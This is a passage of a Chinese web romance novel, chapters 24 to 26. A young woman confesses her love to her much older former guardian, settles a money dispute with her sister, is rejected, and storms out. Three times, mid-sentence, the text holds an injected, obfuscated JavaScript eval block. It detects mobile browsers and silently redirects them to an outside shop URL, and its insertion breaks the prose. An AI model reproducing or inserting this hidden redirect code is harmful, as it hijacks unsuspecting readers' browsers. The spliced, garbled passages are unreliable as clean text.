“你不觉得你现在的立场和要求,既奇怪又……蛮横吗?” 蛮横这个词出口,连她自己都怔了怔。这太奇怪了,用它形容梁怀聿,完全不像他。 余简之紧盯着他,看着他抿紧的唇线,看着他眼中那片深不见底、翻滚着却被死死按捺住的汹涌。某种庞大而不安的情绪将她攫取。 “我不需要你的任何安排。”她的声音发抖。 “这不是安排,小简。”他的嗓音哑得厉害,“这是……我认为对所有人都好。” “所有人是指?”余简之感到莫名其妙,一种彻头彻尾的荒唐。 像是被人硬塞了一道无解的数学题,对方却期待她因此捧回诺贝尔奖,还要她感激涕零。 “是梁景翊吗?是他提议去美国?不对,你问过他吗?或者我呢,你有询问过我的意见我的想法吗?” “简之,我比你年长。很多问题,我现在无法给你答案。有一天,你也会二十五岁、二十七岁、三十岁,终有一天……我不想你将来后悔。” “梁怀聿!” 她的声音发颤。 余简之原本以为四年过去,她终于可以冷静地面对他,至少不要再呆呆地不发一言却在内心翻山倒海,她以为这次她会像一个久经沙场的辩论手,把想说的话一句一句表达清楚。 但是,此时此刻,她又抵达崩溃边缘,潮水涌来,反反复复,她一次次窒息沉溺。 她做不到不发脾气:“我二十四岁,就会做出二十四岁的人才会做的事!” “你教我要坚强,却从不肯让我真正去受伤;你教我要聪明,却剥夺我试错和犯蠢的权利;你教我看清世界,却只愿意让我看你自以为的世界。” 梁怀聿的喉结滚了滚,想说什么,却什么都没说出来。他没有能力打断她。 “你要求我理智、上进、清醒,”她的声音哽咽,她的眼眸被泪水完全打湿, “其实我从来没有做到。” 泪珠滚落下来。 “那个雪夜,如果哥哥不说那些话,我也会向哥哥表白我的心意……” 隔着泪眼,她看着他,模糊的,摇晃的。 “哥哥,我不是因为你先开口,我才开始考虑……我和你,之间。我本来就想说。” 梁怀聿整个人像是被什么东西击中,在她眼里凝固。 理智的余简之,在世俗视作早恋的年纪,爱上长她十岁、理应视作长辈的男人; 上进的余简之,在最好的年华纵容一部分的自己沉溺情爱; 清醒的余简之,没有斩断一切沉沦的诱因。 “我没有完成你的期待。从来都没有。现在,我也不可能完成。” 她不知道自己说到哪了,只知道要说,要全部说出来,毫无保留。 “现在这些,是我想对梁怀聿说的话。不是谁的哥哥。我和梁景翊在美国就分手了,现在只是在配合演戏。他为什么演,我不知道。我为什么——我不想放弃见你的任何一个机会。” “简之?简之?余简之?你去哪了?” 梁景翊的声音从房间外传来,一声接一声,由远及近,打乱了她的思绪。他从屋内喊到屋外,离她最近时不过隔着一道落地玻璃门和一层窗帘。 一声声呼唤将她的话语打断,余简之突然忘记自己要说什么,停了下来。 梁怀聿终于等到开口说话的机会,声音涩得厉害:“简之,你不要说气话。” 自己悉心引导、保护、雕琢的简之—— 她足够得体、优秀、聪慧—— “哥哥!四年了,您有在等我吗?我不相信您当初说的是气话……我对您的感情没有改变。就像您当初给我的选择:要么向深处走,要么就此别过。我,我做不到只做您的妹妹。” 她抬起眼,对上一双震动的、痛楚的、无力的双眼。 余简之心头一哽,她想起二十岁的冬夜,听见那场告白,那两个无耻的选择,她一定是这样看着他。 如果爱情是一场赌局,那么她已经赢了,她无疑将那夜她所遭受的冲击与痛苦完完整整地还给了他。 当初梁怀聿给了她两个选择,而她一个都没有选,带着赌注逃离;如今他又给她两个选择,去美国和别人在一起,或者留在他身边发展,而梁怀聿又被她彻头彻尾地耍了,她根本没有恋爱。他一定气疯。 “你不是喜欢给我选择吗?我也给你两个选择吧,要么再也不见,要么……明天回复我。” 余简之又一件一件戴上围巾、手套、帽子,像披上一层厚重的盔甲。 她转身要走,手腕被扼住。 “……简之。” 余简之停下,等待他接下来的行动或话语。 等待的时间足够长,那一刻余简之后知后觉地感到害怕,她今天到底在干什么?梁怀聿有说他依然喜欢她吗?如果梁怀聿选了第一个,她要如何忍受永不相见? 他给她的爱与关怀实在太多,多到让她此刻如此娇纵而任性。 余简之差点要脱口而出“我今晚说的都是气话你忘了吧”,这时梁怀聿松开了手。 “明天我需要出差。下周一我们好好谈谈吧。” 出差,又是出差。 眼泪落下,余简之不想逼问出差的真实性,她用围巾胡乱擦了擦眼泪,没回头,快步离开了房间。 院子里,梁景翊看她从面前走过,却好似没有看见他。他连忙挥手:“简之,我在这!” 余简之手里还拿着围巾,抬头看到他,抓着围巾的一角搭在肩上,迟一拍地应了一声:“嗯?噢,我刚刚去洗手间。” 院子里的雪已经足够多了,梁景翊朝她走来,在白雪上留下深深浅浅的脚印。 “怎么这么久?我一直在找你。” 余简之下意识扭头看了一眼刚刚她所在的房间,窗帘足够厚,也足够严实,挡住所有的窥视。 但是,她还是诚实地答了,因为撒谎需要精力,而她方才已经耗费完全部。 “刚刚我和你哥哥说了些话。……抱歉,我告诉他了,我们已经分手了。” 梁景翊呼吸凝滞。“……为什么?” “是哥哥逼问你了吗?他……骂你了吗?” 余简之摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300051|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“没有。” 多的话她不想再说,她看了看梁景翊手中的盒子:“是这个东西要给我吗?” 梁景翊回神:“对。” 他打开盒子,从中取出一个系着蝴蝶结丝带的水晶球。这是一个巨大的水晶球,比余简之见过的任何一个都要大。 梁景翊交到她手里,沉甸甸的,余简之双手接过。 打开开关,水晶球亮起冷光,晶莹剔透的雪花从顶部缓缓飘落。 贝斯达喷泉、爱丽丝梦游仙境雕像、大湖、谢泼德草坪……随着雪花落下,纽约中央公园的这些地标性建筑,很快白雪皑皑,银装素裹。 “余简之,我很怀念我们在纽约的日子。”梁景翊注视着她的双眸,认真的语气与平时截然不同。 余简之半低着头,碎发从围巾里掉落,毫不乖顺地垂在耳边,她无法将它们别在耳后,因为她的双手都捧在水晶球上,她的全部注意力被手中的整个纽约夺走。 “以后,我们再去中央公园看雪吧!”他的声音不由发抖。 他本来是信心十足的。对于上次的告白,梁景翊痛定思痛——余简之要的应该是满满的确定感。所以他精心准备了这次的告白。但是,看见余简之从房间里走出来时的表情,一半的确定性忽然就失去了。 他原本准备了很多很多话,不得不全部浓缩在这两句话里,避免惹她厌烦。 余简之笑了。她笑起来很好看,此刻一半的笑容隐在围巾下,为单纯的她增添了神秘性,梁景翊觉得更美了,他要肤浅地窒息在她的笑容里。 “当然。景翊,谢谢你,我很喜欢。” “你答应了?”他几乎尖叫。 余简之抬起手,梁景翊立刻将礼物盒递过去,水晶球又被稳妥地安放进盒子里。她说:“当然,下雪的中央公园那么美,我肯定还会去的。但是,今年不行,刚刚我们说过的。” 梁景翊立刻意识到余简之在装傻,她刻意回避了他话语里的情感厚重性,将它当做一次普通的邀约。 “我还以为……” “什么?” “没什么。”梁景翊笑笑,将所有的话咽回肚子里,半真半假地说,“余简之,我说的可是每年冬天都在纽约看雪啊。” 余简之毫不犹豫:“那可不行。” 梁景翊眼神一黯,余简之没有改口,撒谎太累了,现在她只想说实话。 太冷了,梁景翊双手打着颤,将礼物盒盖上,系上漂亮的蝴蝶结,递给余简之:“你喜欢这个礼物吗?” “当然。”余简之已经说了好多个“当然”。 在接过礼物盒之前,余简之踮起脚,戴着手套的手在梁景翊的脑袋上掸了掸,他感觉到自己的头发被弄乱,落下一片片雪,融进地面,也有一些留在了肩头,余简之又将它们拍掉。 “你是个很棒的朋友。希望未来二十年、三十年……我们七十岁的时候还能当朋友。嗯,只是如果你在美国,我七十岁坐飞机可能会不太方便。十五小时,我到时候应该受不住吧?” “那个时候我应该在北京吧……”梁景翊不知所措地喃喃。 “为什么?” “让八十岁的我哥坐飞机来看我,实在过分。” 余简之愣了一下,然后哈哈笑起来。 干燥的雪在她的手套上没有留下任何痕迹,柔软的掌心抵在坚硬的盒角,她将礼物盒环在怀抱。 “谢谢你,梁景翊,真的。” 过了一会梁景翊才答:“我也谢谢你。余简之。……让我吃到世界上最好吃的饺子。” 他补充:“来自超级无敌美少女纯手工制作的饺子。” “哈哈哈哈!” 余简之的笑声如摇铃般动听、一声声撞进他的心底。 梁景翊看着她,也跟着笑了。 24. 大寒 翌日,余简之步行前往银行。 下过一天一夜的雪,本该难行,但这里可是北京,积雪早被清理得干干净净,只需小心别在光洁的瓷砖上滑倒。 余简之想起四年前,自己也是揣着这张五百万的银行卡,忐忑不安地去银行查询。今天,她再次拍了拍装着同一张卡的包,竟有些得意地哼起歌来。 步骤和上次大同小异,她照例查询余额,柜员告知卡内还剩近三百万元。余简之拿出自己的储蓄卡,转了几万进去,凑了三百万元整。 离开柜台,余简之仍觉得梦幻,脚步虚浮,像踩在云上。 她又转身走向自助机,插入银行卡,看着屏幕,仔细数着0的个数。确认无误,她轻轻呼出一口气。 回家后第一件事是找余平安借钱:“平安这个月的伙食费麻烦你出好么?下个月我承担全部的,然后……你能再借我一千吗?” 余简之找她借钱?这可真稀奇。 余平安举着锅铲:“你个百万富婆找我借钱呀?” 余简之拿出银行卡:“我凑了三百万元整,打算先还给哥哥。” 其余的已不用多言,余平安最懂她心思,吃饭时就转了两千给她。 “拿着花吧。”那口气,不知道的还以为转了两百万。 余平安说:“那是,我等这一天等很久了。总算真当了回姐姐,让妹妹依靠我了。” 余简之也跟着笑了:“以后妹妹都要靠姐姐养,姐姐要开培训公司,姐姐要赚大钱……” “打住打住,太不切实际的梦,咱们不做。” 余简之哼哼两声:“没理想的凡人。” “你准备什么时候还给哥哥?周一?” 余简之坐直身子,摩挲着卡面上凸起的银行卡号:“嗯。” “他会收下吗?” “我不知道。”余简之答,关于未来的一切,她都没有确定感。 “如果他不收呢?” 余简之想想那个场景,梁怀聿大概率不会收下的,他不差钱,更何况工作多年的哥哥从初涉社会的妹妹手上拿钱(虽然原本是属于他的钱),这也太不称职了。 余简之无奈:“我也不可能追着他送钱吧?!” “如果他收了呢?” “收了就收了。”余简之语气平静,“这本来就是他的钱。” “可是他以为你早就选了永不相见,这笔钱已经是你的了。” 余简之坚定地说:“我现在要修改答案。” 余平安深深地看着她:“你知道我想说的不是这个,简之。这是三百万,在老家可以买六套房了。” “我知道的,但我该还给他的。” “哥哥从来没开口问你要。你就算不还,他也不会在意。三百万对他而言,和几百块有什么区别?他根本没放在心上。如果他真的收下了怎么办?你真要白白把三百万、未来人生的无限可能还回去?” “我明白你的意思,姐姐,可归根结底确实不是我的钱。他会不会收下是他的事,我的态度是,我不能留下它。过去几年、甚至这十多年来,我已经享受得足够多了。” 出生山野、留学美国、立足北京。前一个与后两个本应毫无交集的人生节点,竟奇迹般地串联在同一个人身上。 她不是上天认定的幸运儿,是有人将幸运送到她面前。拥有今天的一切,已经足够幸福了,又怎么能再三奢望不属于自己的东西呢? “余简之,就是因为你得到今天这一切太轻松了。”余平安复杂地看着她,在她眼里,余简之就是个可怜又可气的傻瓜,“你看你童年再怎么苦,后来不也苦尽甘来了吗?你有了梁怀聿这么个哥哥,你的人生一片坦途——你根本不用再考虑任何现实,所以才能这么轻松地说出还掉三百万的决定!” 余简之惊讶地睁大眼睛,余平安好似怒不可遏,猛地从椅子上起来,余简之只得仰头看着她:“姐姐……” 就这么一坐一站地僵持了一会,余简之心头有很多大道理想讲,可是面对自己的姐姐,她讲不出口。 半晌,余平安又缓缓坐了下来。 她用手肘抵住桌面,掌心覆住额头,长长叹了口气:“对不起,妹妹。 余简之摇摇头:“没关系。”这句话,她是真心实意地说。 她完全能理解此刻余平安所有的情绪。 余平安红了眼眶,默默用手遮掩。余简之坐在对面,静静地等待,直到余平安平复好情绪开口: “我嫉妒你,嫉妒得要疯了。小时候只是你从北京带回来的零食,我只需要你的分享就能自我开解,长大后变成了看世界的机会!变成了五百万!你说我要怎么做才能忍住不嫉妒!这些年你一直在美国念书,我能说吗?你这几年真的太幸福了,和电视剧里的千金小姐有什么区别呢?而我呢,大四那年在公司、学校和医院来回跑,导致毕业后没能转正,四处投简历,全部石沉大海。我也想过考研,可是学费从哪来呢?” 余简之平静地说:“姐姐,我说过,五百万我花不完,你有任何打算,我会陪你一起完成。” “你说得轻松!”余平安嘶哑地低吼出声,“你刚刚不是说了吗?那是梁怀聿的钱!你花他的钱可以心安理得,因为你是他妹妹,我花你的钱也可以心安理得,因为你是我妹妹。可归根结底,这实际上是他的钱!” “当时五百万是真真切切在我手上,就像姨姨需要钱做手术,我难道不给吗?如果觉得花的是哥哥的钱,工作后再还给他不就好了吗?姐姐你为什么要把事情想得那么复杂呢?” 椅子腿狠狠刮过地板,发出刺耳的声音。 “因为只有你才可以把事情想得如此简单!你的人生就是如此轻而易举!余简之!”余平安几乎是咬牙切齿吼出她的名字。 “你知不知道你说你要留在美国时,我多么害怕?!我多怕你再也不回来了!你的简历那么漂亮,想找什么工作都能找到,你想回国就那么顺利地进入了哥的公司!好,往上说,是因为你考了个好大学,来到了北京,而我只能留在省内,是我不够努力,我该认。再往上说呢?对,咱俩进城后一起上过几年补习班,哥哥对你好,顺带没落过我,我沾了你的光。可是你敢说你每年来北京没有上过额外的补习班?哥哥是不是隔三差五过问你的功课?” “再往上说呢?”余简之轻声反问,“我能来北京,最初不是为了治哮喘吗?你天生体质就比我好,很少生病。再往上说,哥哥当年领养我,不是因为我无父无母吗?” 她的声音放得更轻:“姐姐,我出生就没了父母,你有。你知不知道我也嫉妒你。” 她轻掀眼帘,瞧见余平安的脸惨白。余简之没有乘胜追击,她伸出手,覆盖在姐姐紧握成拳的手背上。 “姐,”她的声音一如既往的柔和,“我们别这样算账,行吗?算不清的。咱俩都不是百分百拥有全部,总是有所失去的……至少我们拥有世界上最好的姐妹。” “不过怎么样,这笔钱我必须还给哥哥。你说得对,三百万能买很多实在的东西。车、房子……甚至我这个能找到好工作的文凭,都是靠它买回来的。但是正因为它足够多,我才需要还给他。过去四年我从来没有心安理得地花过它,现在只想不倚仗他丝毫。” “你真的……太傻了!” 过了一分钟,余平安才憋出这句话。她甩开余简之的手,在她额上敲了敲:“傻气!” 余简之仰脸笑:“我哪里傻了?我又没亏,还赚了两百万呢。” 余平安瞧她这副傻气模样,真是一句话也说不出了。 “你真的……!”余平安红着眼瞪她,语气硬邦邦的,“还钱归还钱,别在他面前一副受气包的样子!挺直腰板,好好谈!要像在我面前这么硬气,知不知道?” 余简之扑哧一声笑了出来,笑着笑着,眼眶也湿了。她用力点点头:“我知道啦。” - 余简之自认为自己是谨慎型人格。她打电话向文容求证,确定梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304468|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀聿真的是出差了。 “怎么了?”文容是细节控,敏锐察觉到不对劲。 “文容哥哥,你能不能把哥哥的航班信息发给我呀?”说这话时,余简之下意识用上了撒娇的语气,文容一瞬间恍惚,仿佛和他打电话的还是小学生余简之,站在电话亭笨笨小小地打电话说想去春游,麻烦哥哥帮忙付钱。 “你想干嘛?”文容玩笑般地说。 “我打算去机场接哥哥咯。”余简之趴在床上,这句话说出来,她不由地翘起双脚。她太了解文容哥哥,趁他犹豫,小心翼翼补充一句:“可以吗?” 很难拒绝,文容毫不犹豫地答:“当然可以。” 余简之立刻改了语气,收敛起娇憨,极其冷酷:“那你发给我航班信息。” “……你不会是要去跟他吵架的吧?” “不是……我想去和好。” “听说你们那天闹得很不开心。你哥心情糟糕了很多天,作为下属我很为难的。”毕竟是他的撮合,没想到弄成这个样子。 余简之板着脸:“不会的。你不是想让我和哥和好吗?我会好好说的。” 收到文容发来航班信息,余简之却没有立刻挂断电话,问:“文容哥,哥……从来没有跟你说过我们闹僵的原因吗?” “从来没有。” 余简之感觉一团气堵着,堵得严严实实,她的心脏迸发不出血液,无法供到四肢。 她放小声:“哥哥有女朋友吗?” “……什么?” “我说哥哥有女朋友没。” “没有啊,你要有合适的女生可以介绍——” 余简之打断他:“之前呢?” “问这个干嘛?这不是你们小孩子该操心的事。” “你告诉我就行了!我有打算!” “哎,没有啦,你有机会好好劝劝——” “哦,那文容哥你又赢了哥哥一件事。”余简之俏皮一笑,“祝文容哥哥和嫂嫂早日开花结果,白首成约!” 然后啪地挂断电话。 文容马不停蹄地将电话内容转告给了梁怀聿,当然接机环节他作为惊喜隐瞒了下来。 “你看,连简之都开始操心你的人生大事了。”文容笑着,语气调侃,“景翊和简之都长大了,你还有什么不放心的?也该考虑考虑自己的事了吧。” 梁怀聿神情淡漠,“我不打算结婚。” “哎呦喂,有你这么弟控的吗?人景翊都长大了,难不成你守他一辈子?八十岁了还要坐飞机去看他?儿媳妇会不高兴的。哦,如果他娶的是简之倒没有这个烦恼。” 简之。 梁怀聿忆起那夜,简之离开后,他敲门进入梁景翊的房间,那时已经是半夜。 他只求证了一件事。 梁景翊回答,是的。 于是他确认了,余简之不是为了惹他生气,或是惹他爱怜,才故意那样说。 梁景翊急切地说:“哥哥,你不要怪罪简之,不要在工作中为难她。我喜欢她,就是想找到一个契机和她长久联系。如果不这样,她根本不会搭理我。是我骗简之,你催婚,她才陪我演戏的——” 梁怀聿上前一步,手抬起,梁景翊下意识地闭眼,但是哥哥温热的大掌却落在他的发顶。 沉重带有份量,亦如童年,让他深深感受到兄长之爱。 “不要再干傻事了,景翊。”他叹气,“女孩不是这样追的。” 至少,余简之不是这样能追回的女孩。 此刻,梁怀聿告诉文容:“他们半年前就分手了。” “啊?”文容自诩比梁怀聿新潮,见梁怀聿蛮平静地说出这件事,他不甘示弱,不再表达自己的惊讶和不理解,转而问:“那为什么要撒谎来见你呢?” “景翊挺喜欢简之,他将这当做一个追人的契机。” “那简之呢?她哪有这么不懂事,陪着景翊闹。” 梁怀聿惜字如金:“我不知道。” 25. 大寒 自那个雪夜后,北京又断断续续落过几天雪,但都没有那夜的大,有时清早起来,雪就已化得干净了。 给自己的嘴快道歉,余平安额外支付余简之一千元,声称这是她的变美资金。 “你不是想和哥哥重新开始吗?去吧,去当崭新的余简之。” 白给的钱,不给白不给。余简之第一次烫发,在理发师的推荐下选了慵懒卷,效果出来意外不错,余平安直说从千金小姐变成了混血大小姐。余简之笑说有那么夸张么。 在余平安的催促下,两人又去外面买了新衣。余平安说她穿得太幼稚,给她搭了一套杏色长裙加红色羊毛斗篷,非常喜庆,她说因为将有喜事发生。 可真的到了周一那天,余简之又恐惧起来,担心用力过猛,还是穿着平常的衣服。 - 航班落地,等待工作人员办完手续,梁怀聿来到停车场。时间不久的外出,他一直习惯自己开车前来,再自行开车回去,为司机省个事。 贵宾楼停车场空旷安静。宾车将他送到车旁,甫一下车,梁怀聿看见蜷在车旁小小一团的女孩。 洁白的一团小球,与北京阴沉的冬日是两个色系。 看到他来,余简之站起身。两个人一时都木然,直到余简之小小地唤了一声:“哥。”直接叫他大名,她还是不大习惯的。 好冷。 脚趾在靴子里蜷成一团,手往袖子里缩了缩,还是冷。 爱美之心短暂战胜了理智,她今日无论如何也不想裹着那件臃肿的羽绒服现身。 梁怀聿看她一眼,白色长裤,杏色大衣。围巾,手套,帽子,一个不落。裹得严实,但是这才多厚啊。 她的声音隔着口罩,闷闷的,薄薄的:“哥哥。” 余简之辨不清梁怀聿的神情。记忆中,他极少将情绪铺陈在脸上。或者说,鲜少有什么事,值得令他开心或恼怒。 他拉开车门,声音没什么起伏:“上车吧。” 车内暖气很快驱散寒意,梁怀聿沉默开车,余简之心神不宁,车开出去很远,梁怀聿才说一句话:“你总是穿太少。” 真的是他管她太严,或者总想指责她吗? 明明是她总是惹人生气。 余简之确实被冷得不行,无法反驳他,别扭地说“下次我会多穿点”。 “等了多久?” 余简之老实回答:“十来分钟,我找文容哥要了航班信息,估摸着出来的时间等的。” “非要跑过来吗?这么远这么冷。”这句多少有点指责的意思。 余简之有些不高兴了,这么远这么冷,她跑过来,还不好吗? “我想见你。” 梁怀聿不说话了。 在车内狭小的空间里,余简之后知后觉地紧张起来。说到底她心里还是忍不住把梁怀聿当作长辈看待的——那天她说的话是不是太过分?今天她跑来是不是不太得体? 小、窄的环境,无疑放大了梁怀聿的疾言厉色,加剧了她的惶恐与不安。 梁怀聿这个样子,一定是不想好好跟她谈?拒绝的意思?她不觉得预备谈恋爱的一个人会是这个样子。 等车驶入停车场,余简之又无法确定了。 这是她常来的家。 梁怀聿这样的人,名下一定有很多房产,但他似乎不喜欢变动,常常独居在这里。从前每次来北京,余简之都住在这。 男人会怀念,好似只有一个可能性。 余简之抬起眼帘:“哥你还住这里么?” 梁怀聿停车,看后视镜顺带看了眼她:“嗯。” “不会还有我小时候的东西在吧?”余简之玩笑般地说,可是一直没有等到男人的回应。 余简之觉得他好冷淡,自己有点自讨没趣了。 等进了电梯,梁怀聿才说:“我现在不怎么住这边了,你小时候的东西应该都被阿姨收起来了。如果你想要,还可以找到。” 屋里几乎还是从前的模样,只有极个别软装改变了。余简之有种回家的亲切感,在心里小小地“哇”了一声。 她进入自己从前住的那个房间瞧了瞧。房间里几乎没什么变化,没有住人的痕迹,软装被收拾得干净,角落堆了几个箱子。 “这些是我的东西吗?” 梁怀聿站在门口看她:“应该是。” 余简之伸手打开箱子。其实她在北京的时间居住的时间并不长,顶多一个寒假,所以她留在这里的东西也不多的。余简之在箱子里翻了翻,多是些杂志和小说,还有她忘记带回学校的寒假作业。 等余简之翻完箱子,出来时看见梁怀聿坐在客厅。 “哥。” 余简之走过去,慢一拍察觉到热,她摘下围巾。 梁怀聿这才看清她的秀发,方才被围巾拢着,不曾注意,此刻散开,柔软的波浪卷发披泻在肩头。不再是记忆中顺直的黑发,卷曲的弧度少了几分稚气的乖巧,平添几丝不自知的娇慵与妩媚。 他半晌没有作声,只是这样望着她。余简之不明所以,下意识抬手撩了撩发梢,心想难道连摘围巾也不行?可是屋子里明明不冷。 不对,忘了正事。 她径直开口:“说好周一给我答复的。” 梁怀聿垂下视线,避开她的目光,起身从她身旁走过。余简之跟在他身后,进了书房。 他从书架上取出一个白色的纸片。 看到它,余简之的心直直沉了下去。因为很明显,它是未开启的状态。信封完完整整的,封口没有丝毫拆启的痕迹。 那抹白色,连同里面薄薄信纸的重量,轻飘飘落在书桌上,她的胸腔却被砸开一块。 “简之,我没有读它。”他的声音低沉,从很远的地方飘来,“我没有等你。” 余简之的目光死死追随着信封移动的轨迹,从书架到他的手,再到桌面。她一直紧紧跟随着它,恨不得用视线将它烧穿。 最后她低下头,拼命咬住嘴唇,感受眼泪一颗一颗积聚、满溢,她拼尽全力想将它们塞回原来的位置,指尖深深掐进掌心。 “为什么没有读?” “简之,二十岁的年龄很美,我不能让你浪费。” “我没有浪费!”余简之不理解,“我在读书!” 她抬起头,眼里蓄满了泪,却又燃着怒火:“所以你就一点不愿意了解我的想法?” “简之,我比你年长十岁——” “闭嘴!若你真这么想,那么,那天你就什么都不要说!你明明表白了,你明明把我当作一个女人来看!现在却又摆出年长的姿态,用年龄差来教训我吗?” 梁怀聿沉吟,“抱歉,简之,我很后悔我当时的冲动。” 余简之愤怒大叫:“后悔就后悔!说过的话你还想回收吗?” 梁怀聿半侧过身,视线不完全落在她脸上。略微思索后,他开口: “二十岁,你面前是整个世界。留学、探索、恋爱、犯错、成长……那是你应得的自由。而我是什么?是一个比你年长十岁,对你负有责任,视你如宝如珠、理应托举你成长的哥哥。我的感情对你而言,只是负担。” “你为什么非要把爱想得那么复杂?你敢发誓,你对我没有一点点心思吗?”她的眼泪终于滚落,“你就是这么……这么龌龊的,现在又在这冠冕堂皇!虚伪!” “对,我就是龌龊。我最后悔的就是那天对你说了那些——你说得对,我习惯了安排,习惯了以为你好的名义行事,但现实本该如此。现实就是,我比你年长,我被你视作哥哥,我是你人生前半程的监护人和责任人。这份感情,从一开始就建立在不对等的关系上。” 余简之的嘴唇颤抖着:“你龌龊……难道我就不龌龊了吗?” 她对他怀有同样的心思,不比他多平静。 “梁怀聿,我根本就不在乎这些!” 她直视着他的双眼怒吼。 梁怀聿身形微动,很快稳住,仿佛那只是一片叶子落入广袤的湖泊,涟漪不过几圈就消失。 “你以后会在乎的。有朝一日,等你走得更远,见得更多,你会后悔的。” 话音落下,书房陷入漫长的死寂,唯剩拼命隐忍的抽泣声和沉重压抑的呼吸交织。 余简之仰头望着他。这个她仰望了这么多年的人,她完全不知感情在何时变质,大约是青春期最梦幻的梦境里。当与同学闲聊起旖旎的幻想,她脑海中浮现的,总是不自觉地换上他的轮廓。她曾以为这是理所当然的,因为她简单的前半生里,只接触过梁怀聿这样一个成熟、骄傲的男人。他太完美。 直到余平安给出了截然相反的回答。 他此刻依然成熟,依然骄傲,用最正确的道理,将她推向千里之外。 “哥哥,你太骄傲了。我不是非得听你不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你让我把你当作刚刚认识的女人,余简之。”他缓缓开口,充满着浓浓的疲惫,“可我做不到。如果我真的抛开了,那抛开的,就是这十余年里,我对你所有的珍视、陪伴和责任。那样的我,还是你仰望过的、爱着的那个梁怀聿吗?简之,扪心自问,你难道会爱上一个,仅仅被你此刻美丽所吸引的、陌生的男人?” “你非要这么较真!”余简之叫道,眼泪再次汹涌,“你敢说你对我没有一丝一毫超越哥哥的感情?没有过哪怕一瞬间的非分之想?梁怀聿,你看着我的眼睛说——你没有吗?” “没有。” 梁怀聿回答毫不犹豫,坚决而果断。 “你撒谎——” “此刻没有。” 他截断她的话,否认彻底,不留余地。 “你的爱是琥珀吗?”余简之讥诮道,“我被封存在里面,永远不会长大了?” 余简之恼怒地抓起银行卡,狠狠摔向他。卡片破开风,发出短促凛冽的声响。 “还给你。” 他站在原地,纹丝未动,“简之,你自己留着……” 余简之冷笑:“你不是后悔当时的冲动吗?好啊,我给你后悔的权利。全都还给你!” 她转而抓起那封承载了她二十岁全部勇气与真心的信封,这是她二十岁写的字,是她等了四年的话,是她今天本来想好好说给他听的东西。 她用同样的力道,狠狠地掷向他。冷硬的纸张最为锋利,然而四角已在时光里磨得温钝。 “我说过永不相见,你不要后悔。” 余简之决绝地转身,走了出去。门被她用力带上,发出砰然巨响。 书房里,梁怀聿依旧站在原地,低垂着眼,看着脚边散落的银行卡,和白色信封。 许久,许久。久到窗外的天光又暗沉了几分,他才极其缓慢地弯下腰,拾起了那封信。 指尖触到纸张,他捏着它,没有立刻起身,而是就着这个半俯身的姿势,借着窗外最后的天光,仔细地检视着信封。 前几日他小心地将封口复原,毕竟岁月漫长,多少留下了能被察觉的痕迹。 余简之太骄傲。 他太了解她的骄傲,或许因为她多少是看着他的影子长大的,同他太像。 这骄傲让她在盛怒之下,平日细心敏锐的她,无心注意细枝末节。 梁怀聿将银行卡和信封收进抽屉。 进入客厅,他才发现她的围巾搭在沙发上。他拿起它,细腻柔软的羊绒,那天在商场,他看着她买下。 他深深地掐着它,感受掌心被完全填满。 26. 大寒 余简之哭了。 她走了很远很远,才走到马路。等车时寒风袭来,她才察觉到冷,低头发觉自己的脖颈裸露在外。 ——她的围巾。 她不可能回去取,这辈子都不可能。 余简之只好舍弃掉这条价值两百大洋的围巾。要割舍掉对它的感情并不难。只是忍不住暗想要是明年才弄丢就好了,今年刚买,她还没戴过几回。 在出租车上她接到文容的电话。听见文容的声音,她的眼泪更加汹涌,却不得不克制着。 文容当然是来关心他俩和好进度的。 余简之按下静音,嚎啕哭了一会,清了清嗓子,才跟文容说:“我和哥哥再也不会和好了。” 哥哥。现在光是说到这两个字,她就觉得难受。 文容诧异:“为什么?不是还去接机吗,怎么突然就搞成这样了?” 余简之木着脸:“你去问他吧,不关我的事。”然后挂断了电话。 到家后她立刻考虑辞职。永不相见,这是她说的话,她现在有很大的脾气,逼迫自己必须执行而不感到丝毫后悔。 余平安吓了一跳,劝了很久才将她劝下来:“不马上要过年了吗?你现在辞职就没有带薪年假了,而且啊,开春也不好找工作的。咱俩现在就你一个人有稳定工作,你得养我们两个人,可不能冲动。” 余简之狠狠擦着眼泪:“我现在花他的钱就觉得恶心。” “他的钱……?” 余平安愣了一秒才反应过来她说的是工资。 “不是,这哪里是梁怀聿的钱,这是公司的钱。” 好说歹说,余简之总算化悲痛为力量,回到公司拼命工作。 【郑以薇:分手了?】 【余简之:[微笑][微笑]】 【郑以薇:害,男人千千万,下一个更乖】 【郑以薇:我给你介绍俩?我圈子里的男性绝对优秀高质】 【余简之:多高质?】 【郑以薇:要是家里催婚急了我说不定会找他们凑合】 【余简之:不好意思,我还有个朋友。能介绍俩吗?】 【郑以薇:[微笑][微笑]】 这种事也就在微信上聊聊了,年末忙得不行,两位姑娘时常加班,毕竟马上要除夕,大家都想在除夕前把工作完成。 